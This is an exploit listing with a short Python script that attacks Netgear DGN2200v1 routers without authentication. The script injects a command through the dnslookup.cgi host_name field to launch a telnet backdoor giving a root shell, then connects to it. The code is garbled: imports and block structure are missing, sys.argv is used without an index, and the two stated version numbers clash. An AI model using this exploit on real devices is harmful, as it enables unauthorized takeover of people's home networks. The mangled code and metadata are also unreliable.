# Exploit Title: Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)
# Date: 02.07.2021
# Exploit Author: SivertPL
# Vendor Homepage: https://www.netgear.com/
# Version: All prior to v184.108.40.206
NETGEAR DGN2200v1 Unauthenticated Remote Command Execution
Author: SivertPL (firstname.lastname@example.org)
Status: Patched in some models
Version: All prior to v220.127.116.11
CVE: No CVE number assigned
PSV: PSV-2020-0363, PSV-2020-0364, PSV-2020-0365
The exploit script only works on UNIX-based systems.
This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.
target_ip = "192.168.0.1"
telnet_port = 666
sent = False
if len(sys.argv) < 3:
print "./dgn2200_pwn.py <router ip> <backdoor-port>"
target_ip = sys.argv
telnet_port = int(sys.argv)
print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
print "[!] If it fails to connect it means the target is probably not vulnerable"
requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
sent = True
sent = False
print "[-] Unknown error, target might not be vulnerable."
print "[+] Dropping a shell..."
os.system("telnet " + target_ip + " " + telnet_port)
if __name__ == "__main__":